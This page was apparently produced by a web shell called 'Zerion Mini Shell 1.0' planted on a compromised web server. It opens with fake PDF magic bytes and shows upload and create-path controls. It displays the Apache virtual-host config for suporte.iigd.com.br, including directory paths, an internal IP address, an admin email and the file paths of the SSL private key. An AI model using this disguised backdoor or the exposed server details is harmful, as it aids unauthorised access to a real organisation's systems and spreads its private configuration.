%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/apache2/sites-available/
Upload File :
Create Path :
Current File : //etc/apache2/sites-available/suporte.iigd.com.br.conf

#<VirtualHost *:80>
#        ServerName suporte.iigd.com.br
#        Redirect permanent / https://suporte.iigd.com.br/
#RewriteEngine on
#RewriteCond %{SERVER_NAME} =suporte.iigd.com.br
#RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
#</VirtualHost>
#<VirtualHost *:443>
#    ServerName suporte.iigd.com.br
#    ServerAdmin webmaster@ongrace.com
#    DocumentRoot /var/www/projetos/suporte.iigd.com.br
#    <Directory /var/www/projetos/suporte.iigd.com.br>
#    Options Indexes FollowSymLinks MultiViews
#    AllowOverride All
#    Order deny,allow
#    allow from 127.0.0.1
#    </Directory>
#    ErrorLog ${APACHE_LOG_DIR}/error-suporte.iigd.com.log
#    CustomLog ${APACHE_LOG_DIR}/access-suporte.iigd.log combined
#    SSLEngine on
#    SSLCertificateFile /etc/apache2/certificate/iigd/certificadopem28504.pem
#    SSLCertificateKeyFile /etc/apache2/certificate/iigd/privadakey28504.key
#</VirtualHost>
#<VirtualHost 10.11.7.153:80>
#    DocumentRoot /var/www/projetos/suporte.iigd.com.br
#</VirtualHost>

<VirtualHost *:80>
        ServerName suporte.iigd.com.br
        DocumentRoot /var/www/projetos/suporte.iigd.com.br/public
	Alias "/suporte"        "/var/www/projetos/suporte.iigd.com.br/public"

        <Directory /var/www/projetos/suporte.iigd.com.br/public>
	Require all granted
        RewriteEngine On
        RewriteCond %{REQUEST_FILENAME} !-f
        RewriteRule ^(.*)$ index.php [QSA,L]
	</Directory>

RewriteEngine on
RewriteCond %{SERVER_NAME} =suporte.iigd.com.br
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>

Zerion Mini Shell 1.0